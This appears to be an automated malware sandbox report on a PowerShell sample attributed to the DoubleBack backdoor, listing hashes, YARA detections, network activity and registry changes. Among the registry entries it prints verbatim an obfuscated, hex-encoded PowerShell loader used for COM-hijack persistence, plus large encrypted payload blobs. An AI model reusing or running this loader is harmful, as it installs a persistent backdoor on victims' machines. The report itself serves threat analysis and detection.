Resubmissions
02-06-2022 22:15
220602-16kn1abhf3 1002-06-2022 21:45
220602-1mh13abha3 702-06-2022 21:44
220602-1ln6pabgh8 802-06-2022 21:40
220602-1jcpwabgh5 1002-06-2022 21:27
220602-1ay7hsffap 10Analysis
-
max time kernel
93s -
max time network
124s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
02-06-2022 21:27
Static task
static1
Behavioral task
behavioral1
Sample
1728.ps1
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
1728.ps1
Resource
win10v2004-20220414-en
Behavioral task
behavioral3
Sample
Scan_282.jpg.lnk
Resource
win7-20220414-en
Behavioral task
behavioral4
Sample
Scan_282.jpg.lnk
Resource
win10v2004-20220414-en
General
-
Target
1728.ps1
-
Size
150KB
-
MD5
732ac4665887f90ad5d320f0e462fce8
-
SHA1
31cb6f21e3d2f50713163163d665053f83bb5bb4
-
SHA256
3efec0b370dfacba1d8a2c9e8563441c6da54ae03925f3f845284d4ea9750731
-
SHA512
8ec4408765d152108981b68a76c42a352f9c623d74220bbbce392500cb8e618a0bd4ac6e2f05057f8520d195d64c38a834facf5cfcf168546b68e4b0287dd849
Malware Config
Signatures
-
DoubleBack
DoubleBack is a modular backdoor first seen in December 2020.
-
DoubleBack x64 Payload 4 IoCs
Processes:
resource yara_rule behavioral2/memory/5052-137-0x000001609B390000-0x000001609B39A000-memory.dmp family_doubleback_x64 behavioral2/memory/5052-138-0x0000008800000000-0x000000880000E000-memory.dmp family_doubleback_x64 behavioral2/memory/884-139-0x0000008800000000-0x000000880000E000-memory.dmp family_doubleback_x64 behavioral2/memory/884-143-0x0000008800000000-0x000000880000E000-memory.dmp family_doubleback_x64 -
Blocklisted process makes network request 4 IoCs
Processes:
powershell.exemsiexec.exeflow pid process 12 5052 powershell.exe 19 884 msiexec.exe 20 884 msiexec.exe 21 884 msiexec.exe -
Modifies registry class 25 IoCs
Processes:
powershell.exemsiexec.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\{12121112-0413-0004-0712-040E0D070B03} powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0B0D0309-0B07-0811-080F-11060A06010F}\LocalServer\ = "cmd /c start /min powershell -c \"& {(-join('246872656B747A3D2730313046273B285B546578742E456E636F64696E675D3A3A555446382E476574537472696E67282867702027686B6C6D3A5C736F6674776172655C636C61737365735C434C5349445C7B30423044303330392D304230372D303831312D303830462D3131303630413036303130467D5C50726F67494427292E246872656B747A29297C2628247073686F6D655B345D2B247073686F6D655B33345D2B27782729'-split'(..)'|?{$_}|%{[char][convert]::ToUInt32($_,16)}))|&($pshome[224-220]+$pshome[18+12+4]+'x')}\"" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\ msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\{12121112-0413-0004-0712-040E0D070B03}\CLSID powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{000D0F12-0507-0D0F-0013-030403110004} powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{0B0D0309-0B07-0811-080F-11060A06010F}\VersionIndependentProgID powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{0B0D0309-0B07-0811-080F-11060A06010F}\ProgID powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0B0D0309-0B07-0811-080F-11060A06010F}\VersionIndependentProgID\0B0D = 54562f617a6963457c3d6b3b752524655a3459393e6276305d5f573a74294b4a1f2352646e2a70513140365c446c4946214e3248786f5b3f3c5e477b33437e4d6f71397864346375626177356a736e6c68703369797472363037386b31666d766b7b567344254a6d6655592d30214d2e24747c3c60287d364b7157653d482f7a75375b647623456c78675040462b5a773a3f5335726f3b702238584f47546168425d63342c414e5e32263e69522a516e3129397e5c2733436249795f4c6a powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{0B0D0309-0B07-0811-080F-11060A06010F}\LocalServer powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0B0D0309-0B07-0811-080F-11060A06010F}\VersionIndependentProgID\010F = 8224df7e6f38ea5f1b9ba578a07317ba4d0f6a5e7339fe40c434e107726784bc82afdf3f85b4fb2e0e75c1b54803577ef7378bee9e807ff98cd10d592662e6f16c05a56ff02c0506c6779468b53fd13fe6645efec55c7214dac5346819d9185b2284105c1197bb6aeb0f9c52972e61c91d0fc4c4bddda07d711b74504077e540d19672b92bc7615013b7071cc1e485b24e7b97d41b5cbfb18c83328a9d3ccc80afbf81dea951d85f2bf1299e1f47818b622bf80f4d5b5c3f6a119f6b51c2a284ff8c9a9d98411d41c7c0c5933012a990d473e449d26a63b9bb5baad100f43cb51102a99bd90d9986ad9eb88f3ce88643a25165363ed552a7b310dec6a43c1cee4900a4a3ae24fdb3f3cb029cffcc7146ba84cab3915f986bd6e83936c799717c06bcd143b5fb0bc409dfd00be5800be5faff69449bbf27d7a995e918ec666385a73f8aa4b26b7b49e82aa79402b389bcfda738cbace3f9eb11ff56749731a16119db7aee9f23ea52c5ae6d3dab2a5bc132825894b02ecf5d6f7b21244e77e4ace5f611e627cd73a99a6f1a4600e418894acf4e30983347610cf73aa45d3a330156b76649975be198fccb4328070c550ec9f810a60acd822732802decff544560c373f275dfaa0cb93e044117c7519db8f1ad3093a3d76c22ce803afdf6a5723e74b69b4c7f1db203d29da499d7a7e80408c794c04fe50647b5233f39fa19ef1bd81c115668b81a09be3c7bb942e34cc8e9865ef8354fa98f00accdcdbbdc5d29a3a9eeccdca130173ba5c876d010f6060709be3f1ec08d05a1e45726245a48984c08c3c9008dbe289a951117e56aba93add7c317d434114f8f874398da432d2e9789874b20fc227e543458d6cf1076337ed54c56fb3f851c4bb3738399fec3bddce9bb53181a42ba7e7601eff1d881e6cb95a7cd4cf841bc40f27673f0e6ac25dc079781e3a8bbe0091c0852847659fb593299a11bb20edf88e6ec04b0e31ded51f53d3b73e56e7eac5bbfd8f7d45edf2c23ceb7cc8f19ea9bdb5a32bfd1cd1c1aff9b51999fc5a5b068f8560c8a4384297a28096c3e0cb65898ad4530df0e3312003865f3ea3ae6a1654458e2f5ecaac24a1faa78a54ef1a9a70c3e3620bf8ab8c9e4f1324b61963150888936d402deb3ec5875a93b0a8fb1c33ad1ec1cd87db0fcd0446233db0dd59a2ecfb63d3e7611f39bdbd37248481d2428a98f6139e70ca5eb3547ee432828ecb5e28ab80c35980007912d3bbcc5d8193bb1b7c4d4cd01ccef9ec8d4922ff57018088504bf6396a74d98247d33abcf9fb5839f77084cf2760921fd278c1cc7d37533f2073be501d2b1513df04b5f5a6e29056240b3578b585e6e5ab32b4fc343214978d4893839783f5503ada79b9c058214cfdc911ef5d1469291c79b7a255ae9baf28f310fb006a053451dfffb8ef2f9184f369e0d918c8657d6b82627184f5ca1568c0d91fe020b407518faa76813a55d36ec8c3252a4222aad6e04489ac70722a96f53179073103ad233fe9192645d1365112792b5f37ae616aadcade582b7b9a20dc128adf75aeec65d042b5217dfebc5e1fc36024cf76e7840dd71572606a6408f3878119fafd97f092b000c49478d728f5c45741cd311ac8f388ce761246c94894e12772dff9627e6682a3c00eb1ec23de5cf28869f5c165cf0538d62a91aa0614c6e9b196e3a837a2802cdbf0a6dd3cad1c5eed7a779d098a15f188f53f17131d6ec653ddf468e27e7e8aa3819ed1d4563342fa8efb900b17d122073190d01632f6527f1b62d27a9aef652f203660ad39a3186494b859c8dc5c3818981ba614ed7b514a751fa0f17906b965dd41b1f41d88eed48aca3a7e140e83dbb89e73805818870ac20ec78b5d926deade38079c8df50f17e6226f7f70a61e6611f5251acb0aeeea6a0470d1d6f1a12ab427d201e3bf163bd3ec7837d5e8ca23e0bfb64b9309d3ca54acdef38c6901b2e9ac7ca765557c46c3976a843a73a614c7d33d9d33ff3aba5a4f860bdf7d1395fa29271997914d0179698cde2628cb22a23f19f03939c3be6adc624f682cfbe3a0f785bd35f0b482dd482eb61ab41271a46d13b677c8c3e427a9564b36b5326c8d07f896aff0149fde6a224845f1f0d4daa95945aee857ba777400cbb2674abd97b4fbac8e31360695e3e93788e2475118b9b87062d09d36fb2ca1c37d91bf100c9940101666bc2c875a2208eb83d87aeea76fd11f12d486bbc46b19db4031a1a6fae84b054bc39f222a573aebeba9f6c69945bd403c70505961057824decb9eea9093c4c39d10ba43270935afd4b2407689133c8edb1b8d8aec2e59b792421f0ec412d3f03e31240e168306e78c256bffb0e087bf1a2e7cfd28035dc147f2ed267ccacc023e69b280b84a094572fbb3980d7260cfde4fa8bdb344bfd4d008c85e45701566a51b160403b2e8ab47267a99a14c6999a4e87ff49fe9f1e804a9ddd45e8a884342c3f346f4e7a89153e193721160f013d759a3613114edac72714d0ade139fade8576e2db2c855dc86820597caf7a1b4c6cbacc3b9ee6f7e0ec4d610ab68e13d40f48a84da08a5e4808b55e25a00a3b67d4a56d416c5f3f1b52f153d954ac46af53d66cadadae95b3567fa5313ed34183e0d969d301186601bd68f5293499939f71ad4c7dc1bf878de8fd98210f32a15892e0394fc953c07ac6614b54619f46c8eacb1c7904e9ed1bcce639174359861910ebe9732d09e73c4d30441c1100e1a5d4c2c199750c3b728fc920b0f24d6a1417ddd10a7f6646a4e9d29ced00a23ff5cda431945496525f6b5a75665e07bfbc2d05dae61fea268a79a669ce7a9384e9e1dd77d76702063af3f9c6ff6d2b2d2ef5b83563966c7771db663666a055a5e7745a332657185da1f474d4a4ce77ac18e89e1b80c850fcb6c44d28d741a72ac3635eb19a6e5cacc9804672ddc0269ed76aaf0707b13f5defa6d3e4206d7c66d8bec068c7e4b6d75fc4a203fd05d42900cfa00063bdd3f2035e2025c928817c591d121a31124a3b678169db321b15aedcc1114d7ea191c5563cde11c2ae4415ff4bc096b7757b9873a259362508067c793d050b1960279f5d7b714fcc139fad071c2782333750e7f9eff4a3355c5bf660fab3c1a03268576b669bb38f5f0177e07c6342dde8ee214dfb5d177b20038cb4601ab920929bee383ce3a6537662c66f90edc07e3265b6d13eb656c9ab2d08cbe75d8e3ffcec3badf5283a43f912d242edee24b8b965272b639ea9eb39824e7ad1b9b7cfccb1b393dc59b809c886770ec4c3bd255ebd6abbef4a15ab275ae026514f4758fc17b7f69a86c172e8e7038c983a0f1a0d9f0de735362f7d8247ae6bf2c12a16f8df4c9e9a9ce6fc990b49c308e753d2eb5c8c27ce3b874c33dea80db1c9a1ba7429bf0d3cb8681c4d335e734c277bcb8a6331ab1c7c5f747924feb466c6312ea6c9c88ffa53604aa7df226bdae7e8057e163d87ccfc56870b43743f2e372ddcd28a12a0ef48ea3f519c164e2d5745ce9c5b216fe287ddfcd31015d8b4e4ae33b9e588c2efb2cdcc235cf49cf6addfd9db55b49c952199d8f27b32e07df0d9b36506c0619840bec92795b6a20990499248a76fdc4b53ae29ff093e6977fb43afaebb454d8b2d817e031ad2f9f5e0ffbd928b648fa638bc2af782ca6517d6d2b203aa861c06dd1b9fb2625d3ccc86fd4c7fe6ba32401758672fb611191ef8d2f34e5058a7a85e513cc7dfc31908bf3409abd2456aa4f92a65e1126a27e52a2cce184d3f50fc241bc29855caafe82a8878c284d141b9163b2593c4b71d094b487b694ab0c5d9a54bbcd0edcccb34fb97df6bd5fe875470edf51c02f0f62f16b4918739e2fc007bfc9d06935aed9960335afc0d93471fc8ac70785338913a529dc9ed1327c7dceea7e9c9011e4e065a092435ac571f0341d1b21b90b4beb8ad0420a845a0d888cde9a19750d06e99ee73cfef727e1ef6883cef59c4d3b1c1e7c8f01053d212088a6339e959c5628d3efa992a88018e5ee87038d5b2d8dc2a278831dccdc8e33b67e8c5abac78e08307a9f5ae6b897ce125d01cb15dcbb69060b67f0b101c2b1e391a98066198f6f1df1a3d916c6c6eff33cbb974032e3c5b0571574253d1e64db96581d320307c2721566bbef6516197efb9eb7652a6d88b7682a3feaff4d93e910a16e9b01100ef248cff5212d319be92261e2bcd1fc7704cdd4ed25e92a21fd101456545593f6206adac14a14fae14efeb24aa3274969cfde31455653e95d0ff0e3d631435a7b5ecd7e2d7200d78e0e31834ebb003ec0cce6f29cff1d94d165131ba248714498906d0c112af6d37e50907ef6fd2e6207a5b981a84e7ee4ee990dea459aa61e4d3c126b28d5b8a4e95ae1f928dd7b9f3ee691c99ed08b9193699bbae41503b282920e9059cce1c05f4e7b5d303d573d945c71064bcabf11e28e02c678211fb04c0cbf1233d7dae218346f8310c68fe2d4cd647b32b79082d4c7f77355bcad01e6f00299e20a5c9ef181f3d0d1dd2c25b300bb9d9bc71489ac4d277327d0e1d4cc9797318c788f715d770041a064f9828f069ca6680c2c307cf8b7f06d0b3c372564e4dc6049c2a4f396b563854429918a25112d09f8daafcdc6de361e98be6b6288a03f209794b2c9bf6e66850b576fd0998b2b327e89c543406c3ca8a05675f5ca57c014023ae726cfeab592777635cdcdcd9f0e64e19759629b8fd200c7399990adc8a8e381203b472a6e2cb27c1d87e7092a74fc59ce29d0172fee860be31414bb824f25c6f31563eac1d637270c56d8f7e0710ecbed3e1bb78a244dbd3a7c03cae1dee05775a54aa16fbf3f960ff338f477dcd7e1d56105937f9c6ee1fc47300db0cceda5679b5998921b5bc9f92a159aeb22b8ad5271fb2a98c76290a1f21f5d7be880f9bdc0743f104b71f7d96f3927ce82ecf1b1d5706e389f2126bedb05b81212d41bcd34d2610a84133a28149e64939e281da965aae240b073623058e16f6fc7b4f345e2d1064d6e74083ed389d256a05e9a61d60f067cb88b29e310b091a841a759753f621e92a3b98d9e393f5bdc753a3a4a2db17fab8d4596d148cdc97ac745e1b45a52d5d4f9257735d4d6fe2577579b670da81e83835759d5023d54d8cda2446ceb021851783294bb079e002cc23d67a8fc95c9732a4c044a1fe5169f399a7b95ab32a67f2d7798cc0e182799b8a18a6f4d03265dcd08febea6d3864f38451ddb309c263e545e9dc3f4f2392b8b0bf429aa7345d65b70d467176ce013110c57244590d92f14b1c44470586c74f3f02dcb6ac6268d297a25fc33dbbf8395c7d7fd0bae7e94167f31325e3009a3be4d975a6518adee8fd82898b2471b1d36f9f78b06b9c702d83886eea88993f382c4330753b587dfa34722af69f7dfe8117e4fa679ab5f2f62ecbd0407a22ac717201c2101a4e809a8db59194b99872a3880ae9e25bf63dc962d5d5cb2125e0abcbc711e01ec54a8ad4a827df6bdc5698b908692921c28381ce81caf51215eefc6d1b2432a98f123f2a2a4412e74d609506f6e52244533b383a488aaa8746656eb939d13834e0e8a242226326dbf09ab01b9cadcb19aed1f2f465a34839506f326ec259022360dfe588377c4187fe19a027a02c22fbbabcfaeace7aebe66f9dd56799683d6b1fb5852fd69ded568b6ae1e558ddb657d715532637190c057dc2dba6c35c0c6b8889cc5d5c3ef45073b79de8f3ae89f34c33b77d19961de0777aa5de4dc132806ccc7a4447e81e8c58f49dc5a3383138ad1c10365433bcfe3ba0d00ebcafc22a829096611e909a93d5e48d0c8266d750239954949d1e7ab7527121a0c9589b6a29a95786d8fe88f26a7bad4308a5d49e7b817ab8790689ea9365e1176cb6e229f5adeadc59236fb83504daaa5f849e4c506402b0cf3bf96df470d4e3e827f28cdd0771cf75edf27f1661b147600162940e08b217c832a37a5094dce3ab146e2042b8fad2146b2eb8e970003064d63f26262e4d697b334cd7fe83500f9c921c91f1dbe6340735d2d944972fa22b7eb74001805c1c7d5ea489590476f8e06ec3498f786471f9c46e9271964f29c71c39c2b30668417df7dd46f7626abc771769ca5d940bcf4767d2c637e0393c65699c11fbbd5435896bf9c535c77c519b270823878c586358ea8e949b65ffa7ae33ccc24c9bd1bb80b71663b5c6fbcb87b7b27656552ee159c6ba161fbd6725b1cec0658421a2054b4a065df94e1aad3f30226222cb15c33aac2e85a86635b0ecf82fcf6bc5c380364a9f5f97727a111dd69b4fafad5b434961cd40bb87eece820802a930e091616453ae2b4bf6182097eee91a7c6898feb2e41c854ccfef708143d7be694888a19b2c0dc1d80deffd327e0beb92e26eb518b2b6095820e7249785c0ea0137f79ca421b54ec15f2c491a9eccb46518a1cf84126660f175ac4b8039bd3125d3fc02e7e9fc601dd7833126c9f2223570b305ca82478466e3b91bf8e021b21b14dad246792c96734a65ef28fb6e4ee1c17887e75784b5cc7d14e7d8bd7814b66844217cb4317a7c7eaa05429aa5db80acfeef0fc692e736edaf8061aeae4ffded11c9ca2cea758056f7ac0b65964a332cb60e39c7956207436992c797ac5f020ca0028bc6ea8f2cfa1aa8b81978fc2c20fe84ef0e9af2c43eeed10e1a74cd8f4a38fbaa61d23370fa0a7e436fbbb963ed115d20a67b1e857dc07918d9fd58e9b3a8707ecb8d6443e98609c60d823385da9e3054f44841224f5e8c597476e7fd82cb2f396e11d26a7e5c076ba57e8e2901561e8f51e86dd653bd2a164c6e030cf22ec6de616ea60a9c2b5ca3e9d5d7d189aa2b6b54b5f814b0017edbfc59bb5fbdf506a0c66529e438f1127b8613a1816866840e515301b5a4e0b5303d21368d2ae94cedafb45081673a162e31b270e8ca544f4b8653255677642e102c94adc282eea304f46d257cc2a1e73a4ef9396d9e1bb4b8ee0ebd30c8e164f9072b5179ecba5ed10c884654a334fe0dfe8ff2fc7d0a56b2c0f9ceb383604336ab83217f1622cbb3ed22c8e8e744ffd1a2905cb5d40bd42c48f4a76d353d332418df86e323325b9a9d13c039e432ad36c3404ee776e71e9fb0e2d93b93cf520dbd8bfd7734c88dcdb049d727deeda327bfa508105fa8ac3f3d2f6f4f350c4b6a345b81cf8ab9db639dc81b682d937d122aa2c2efa3b5e2a7bfeacf6e9fb345dbb575f8bcbdfd484ccc136f32d48201bff59995512f8c9625c3821470d6d6a2239ac0ffdc2a5c14fe09839fdf299bdfec683f0efc2b8eda5f730aae85bc6b3c6403bc0534575970bd180e9cc907cbf876d90d2e88f380aa1be40856c2a3e8e05c7edaf38050adb5e378a1942d7787734af2840d2519a2fcfa4239e4def44429dca0bad9f9a5d144446e76afdc119f115d7a8741fbe95fb909d21cf25ecdb8940e09213338a9571bb9b870aaabc147964994090c1185827bb254c6ad13ad15c3c3a2b0e77785a1c5b68d05bd5ff2360f3873b37f7067a326e11fb3cf1831460c431e6873e837345d6e5318a5dfe44b166cf163c7a44e2355e80d5e68f5625b129e37bcb99d03b27081268b03c8a1662af0b66cc9137af9c4089d53e730f5d931f0a2fddfe708aed062a59412d4184e572755b05e3b7e89810ffd417c0f331049dc9a1954e9d082063118d8c4d5363a5a75afc25ed6940eb9eb7aad99a9b0b41e42b901e39de61f3841befe8c34eba865eb6b27458636f2c82813311b05b5e1fe0fb6ea3fee4579271230b43df33e4508ba0e61975bea80ffcf6eddd6e396691b6d0c70ba905ccbbebd568e1a4af3acf5bfb151c7422772ea875495c11c1778b6de469fb00282d008ffb3545f31b9e7e505bee52eeb4ab1c3e66d6a97ff0c5956385010c100f7d2aec9e5aa84a696ce1584f42463f61b2881f121ff1b359bdfee1b77f4499ba85cf8666981fc4b67577afda91845a98d849d6692b3bed7f994625553eaccaaa87a1008819176a74f8449e8cc58c9a6186927db232099a28654044ff9e349bd6f2ef0380f52ec8e6e0f18d5a29287f92c5cf5194bffdf43f778e57b350a38fd06c3c8b2d071e8a3f695deb528758595860b5dc559f3c0513fd3c0d60ae998ab6603211d25684bcef2072dce68b97ad5293fb708ad5d1254bee560ac7f9047a30f80593d1d273049c74fa549da88e7051ec798ee1668be8a1424a3335aec67546ba434cdd88707e2395f0ace8158e2bf4ba970fc2351929953319892ace9bdcb5ff1640d202cad7bab0953ac0fb838dc11b9abf1f9c86b47d9acad6e934df120b7d2ee1381b2cb55d30e66a00f27ea4d016985331ca56002952926089eed38f95f1bc7400369fd8c27eeebffa15d9b9f480000274448d5489b3745a2ae579a2b48e103ae4b24e1de75361410c41115aecb782a64cb6559a1730cec980157d84207e5841104163359b98b3c228be5ea1f016e03e56648c07f195509a4f7d56e064dc14868ff93d9326d419052e0f62ba5be0a3d1a9970fddaa6b046363b8acf66d129b5053928d6848ff672c483bb098d40835aff96498990a13f345bee6eccb8d10a0c13979ea7261341a67a763ca322a2b5bd6d4633983324b5069302669ef90a11adf6407a03202ebc6e44a00efe69fd97614a3eccfb02b01e034a08b3bf3ca571f9296426cdc03563a1dadc3d49512911b0741b2b08f5358757c9866c982e373df135b63c0256d3c6cb1bd3b10168713ed6b27c1cad81643752ef9a162132547ee39134e3938e1ac5e5740dfe225a9e9abeaf114d2f03df8fd6f496cd4a7f5db0022988807a9dec3a3862b13837b4fc29b42771bd30d4924e2c45e39ee4e8e714c8f2306fd2bf6f9e507fd9cbdeb6b625ea958c38a9d00e6be24d740658b3405445d81e37d09a73311b6227d7334267901b165d14817b42713f0b065fb1c386db36ba21d5f5784e356fdec4f6bb49da6a62000fd7cdb514529e1eaf39534ae818b3c0fe61ec89528de95ea6ff39e159eb6149e4f60ca69d9752dcca3ffa613136fde59210235216c053916d942192686d7c977f22b12bc2352d18d149de93cd12919fbc53dbe07e519263a2c204da50d27978ccd2843d2b67934d69cd5cc8a52ddd5a94c5d7d1b023f38f27a7f09dd5086daa7ff5f033121510bbe6876128a21d566def5f0c8ff94cbffbc150770e86f682cc49be403df81623151f3ab205af0df9a9f687d6227b4f480bbe6d8a40d4a36471ae37fe1adee0caf38b28fe619929f3d13ebe79f02296a86854f847238d17dc0c5779506e6debb3a2b88bc097ebe53ed467722d8f953b5d3dfabc60bb4ffac401b27959da745f9908354c6ecd8783f2c043da248cd3dbb4c8820fe014f037410a15aa1f2d885bf1b74570768f3f65377ea02ab681201a581b5372c5c2e440c0fde30a5e9b54846b2f3e97b99cafe7da809cd65ab7b9e91bf900775fd5be39551a3be56ca92b4bddca5b9ec80ebff459cf058d99829fa789bac7b2c9cac97d1d04bf8bc1e33e4db8af28029e410f801151651bd0ec5115e7c6b978e56a486517067d79edc496c251a3899cb49eefbf3491ea99661c1fda89099a7fd2aaab71b72769245b212b7e0a0aac82ba890f8f13b7ee0411a0b4c4db63fa4dd53d1cfda682272cff8bc717d4a0b8d85ff37d0e6155a3aa9c78aebd71fb9230b0d4ff98c3b1382bf2e8242acfc1bd54e669a1a3ec6b09c54d02137094cbf33d513158af351da34b7ed4625dc23c61ee0f3605cbabf6096aab094272409bc0f4f7e706a3fa541785be3aabaa633548be2ce0294080e3a2022389eface17a02e7aec20adba25d01591964cb788236c1d65f098d479766927e00b4c91ec5bc3daadeaf92cc394d8450737ba752b05753f27c06087af1362eedee9189dddb056db9d0ccb6340a27f65e243d03b7e58f397e34c3f399908873cff25738bfd5d59fdad1e32cb0bc38b618e1c57022ef8c8044254e559ae2f26b9780f7d68ac603a1e18ab15f3b95d7220e5e5615fcf5558fedc74e7ee945fae65ab7a93366b8c986bae0f4f9dd26bc583f3c4a437abd46078f952317957aaac97a93b2821ecde5d294eae5b97d9ca5ef2bc2f9b813cd34e209d7fe1f873e602da7422ec86cc54593d029d794273bfc6f73c5e13f2c699cc79ee97af75d73375f6be0999dc17865bba6b876f87fa3b8e6f7a4c0668323e1b6135ff9d6f353933fd7305247f2a9109d4eaeb1ac1af0cb2cae6581b42bb0e418c91f80c453621e7b479702bddce4d7be8e5f8694e88ee8ff54380be19a2fa73dc754eeeab1bb19964f6e40ab68011a6b4be61a710bbc32ae73eec7057aff4449d1013126944464f80ba26b6f42d70dafe0336bf3ffbf43a05a2196508a9a2ea3d334601878da9b8dfa5eb66504c683f8437cd6e30c13b6fe809e43f02880980be3a364e3fcfa9098182622f5d004a49d001fec9d87a25146d76cc131166a0d0e47dd7e89c5eafc6ec473667b08189b6c614a22c9c86ab56411264acfc2a612dd7a8cde8b738d044f97642d5bc6d4aef61eaf9587e77a5394db2293b146f2693a18b9f6d721008af018678f69e5452e12d3981a683d17c316812111ac8f246ba34781f8c4385d52d0557ade1734bd244c2b9c3efb68d171fc376d1b6f3d6535ab37fce0cb71f5b3ebc2bbdc26143c5fd9dabaf27e8b68c0ded03fa8b1e4176188fdc39807f08bc5cf0984aa558f4cee95fedc25f4ab37d0dc586e8f3b3994040ff1ea04e0912e6dff7b22886234ec2f018467b9bc63df44f027cc5a13f0927b2b23b24e191870baf966f38180f74c20357ec492337d548e23da9ea92aa0f41e96449ccc1efabf8fc12f15110edf9a1e019a1fb86ea1ef16a7140a25d94b05374dd9f3af95d46a4ac1c173c0b955501536c1a54af19560aa47b5758b63fbca45a93523f33449500cae2024eea84797b5fffcef18560fc0fbe9b39351185973b32348128b0b2bbdf96e0fc3041b50f007a6f1a8ce72b9b7d98c022d04dae731602ba5fef52a36d2458317eba7bf46af0ef6b0b4c0ed82fc25631ba2cd3543cdac45d76bdab703de9f4d922f4d36e18770a5c020a990c8fa19e92287115a64b6439f470a265a630d34afc8bf403277f0f588f88da86286e7d4fc753a6045fbc79bdd6c55661f9d57a609138c04e50b11315a16752f771f93f24f01d1d8eb5b54ac0ed068759f25cefef86192b47c622b9e6d7c5e130e132047eb5660144dc82a7dad679ed948513ea6b6f249f1fbee1f32375b51938338757ac721492e8cb7e2b7594b04b344b74ebcbb5997a3dfc057ac2a9e6789c6e301f731daf34d50aed7a43ea46c96e91236f9474ec2296f879295cf5d8d802c5143db448f1e5d3832f3d77c060c71c194e7168757fb26a53265f26ae04b64ceb65284e424f8b831a06ce4ac95e4da9debbb292939c19acc05195c94fe4747f3b029fb1829357d83001fb9775dc41bf6e366a12cd604c600c95922bc666af066e444de81bfd1bbd4c29b5092d5c3fcc79b9c8fc0d40a24c6e087be5a95b6f40c8f9a4abce98eba6c6ac7b09af514f040767dc1b48fe5a1d4b0d5b6060b01544139af663de6c949da09b52f9d1f2de4bacd1aa2da975e9d5b539eb28ec6e1a5a4be47e5c5ee63e6daf99c298557c19e2c275bbe25bf4e00755320a04ef535ec23d12522dab4af26cb164521b09c482c4eae8b9964e4c888868375078195be2fb7027fdf5a0f6dff4455bae52cad56e585fe9e2f9698973a9f919e912575fdaf819c234455f4b313e0c889920acc6a3664c4fd32ed976e4e7eca275032a45297e46932b7498a8a4be3087b39111da8beb98b57dff0656d09dc8c616418b2d22f91c5b96016beb2d21d234b78162983adacb78b9776d6da6d840ad5e436e2633a560d43e6155ce0f94a0b2835b1d6fdbe33f9add9956774adaa4d1d3082a77a24c136ec64a8478bef781b5e33ebe270acaa03bd9b9b6a0f4267744579cf645bbda5f3a58672cf2d031545663714a9185ebebfd386ec738b02f1251a20965bf13d99e2d7c72f3fec915a41781bfe679448e41792cb7c90345ca0dbe931da5e795c78043db5f29f56c4f6be31a5ed69bdfd99a4a0da6be5e899fca40da29bbc33f443960ad9fe80bbf68a1f1650890876173ae38b80cc02981522b53b156ea39d88876a41aacbfa0403245191faf581ee667a0bc9e88494a161de09ae614b87c719ff6e3bd1bb0cb029b0883dac90cbb95ce207f436167b0aeccb6aea583d7fefaf23b70b10153c96cb5635cdfc4ce03c1aa551521bc08843a925ec2a04313e20e2e8224b7db8485748b917d8b9e0a885cf5112473492de2ab7647f89096f0f9c06322a689272c2b6b696005d51ea06c9345593f0b0e4af3db533a7775902396634e14447b38740d8f5600539eaece4e63ee4c2ca48cf77de717a1c734870cb88614ec0e0a4b56b145c1c685ed21388c9a9da557f3c721e998f820f8f0c37defcdc3ec7670751c63506f8b5e38b349ac2178e7aa980b54c1f9d50c1df2582a271c2364aaa9318e8f96d798f86f093e62b71c2aacce6b01aee79e5e85f73fa79ccc3a6cce27d9a3c8b8d9c6709314360628c40a788dbbf98dcb09d8bc184a553d88cf74b720d1e0bb4b9d022f750c85e392005528d5af7c9d665deded367534b4f0c2399e8039930c04fb88bcd249c0712cf7f48a186e7b08ef2abbb40c264a756a38e9a38660f9dc193c25ac0689752e08b4981e924ff272b88ce449a0159bfc9ab020f5c04b016ba74516e64d11008bffc12601c40e6c73f13f57bc9fba24d5df5dce35aea7443815e3d040a0c7c9112b7b41e94dd66136700ec81414c11d254d875b5f864413b1b3ed651c4c2d51ecafc86e248a85867714619a748ba43222f0a5ee2725457fd101fe3b5449026f7cba4d7b4455afeb934bf9baed3a138d1b8c8608d42130b8ba238cc22ae58c575ecf165063fd2e0534de7e73bd537dbed81e20c53af09991e55d6713d4b325b777889fdaa35748b850ad7b1fd5b8d090a31732c6807c914bb21d3d1492e983412e7644452750817695310e3d2d1639a8943ae23159092bccd558ab0c4415aa7261ca997da3de64e9685819b7477f25d641f5d19647037ee99bef5bda59cf81de7031b9a8aa3504708ce8dbbbbcc665393ee1c60638a10373de56edf7e47e624833537e19a28a7c2e28f945520e44762cecb643f038fb0608b8865dcb86ffefd99db71c66f7d5d986963d335ecae036d042b083812149b4bbbb6eec2c2f86d720315d482b927185b1483d0f4a47cae7fc93de3ad3f1b5b6f92e0c5f255e039661dde4de3151281659b5d98805100af0696225c60986b03b15dfdc2efe47dfbf6303a3bb19449820f68e1a4fc0e96a6cc9cba16b7f9ffb6696dd22468faa2232467f6d2e0c038adf17de9e2eeafffc830a4dcdfd37de0c8d333787ab5ef354c389c1ac7fd4fde3f4c3d22ffe6b1fc135f75214a6644426f52bc6bde5ccde890d3b2791531dc7ee6aa2d051d6ab16732a3eeedca7d94f29a30df1d16b5023d8a571d324aedc0e0e0c0153000aaf60d171fdb6bf1943b081cbb5bb3c51e5426a8814b526b3c1585f74b756968dfee61f166c878112909e7c6e2f91876f68409d29f183016de6eaae95650c3c42fa383b5bd619e8af4aab096f40c4a9a4c1888df5b85e2c8c44fa4b4dc67227c939c944c61fde5f04a9493cc7aa5d020f3f8c4b3b7039ef7fb9a7482ab7913ea04f0018c9393d8fc4afc5a72def88f126ab2bc25755e775a0939f07d0a7caddfbd9d890ff940f3731a34ae69b420d6c1faaf3e6235120aa0a9c2b591fcedbb8551fa5cd9d99c84b9e7590c0ecdafe1789b9f1fdc03c33cbf0b4bd60249e1988b60673f8bea6de849c63b769f044890725cb7ea760b6c17f850f409dcd21b5d03b44c056afd4301437391f061b8691b05e53bfee984363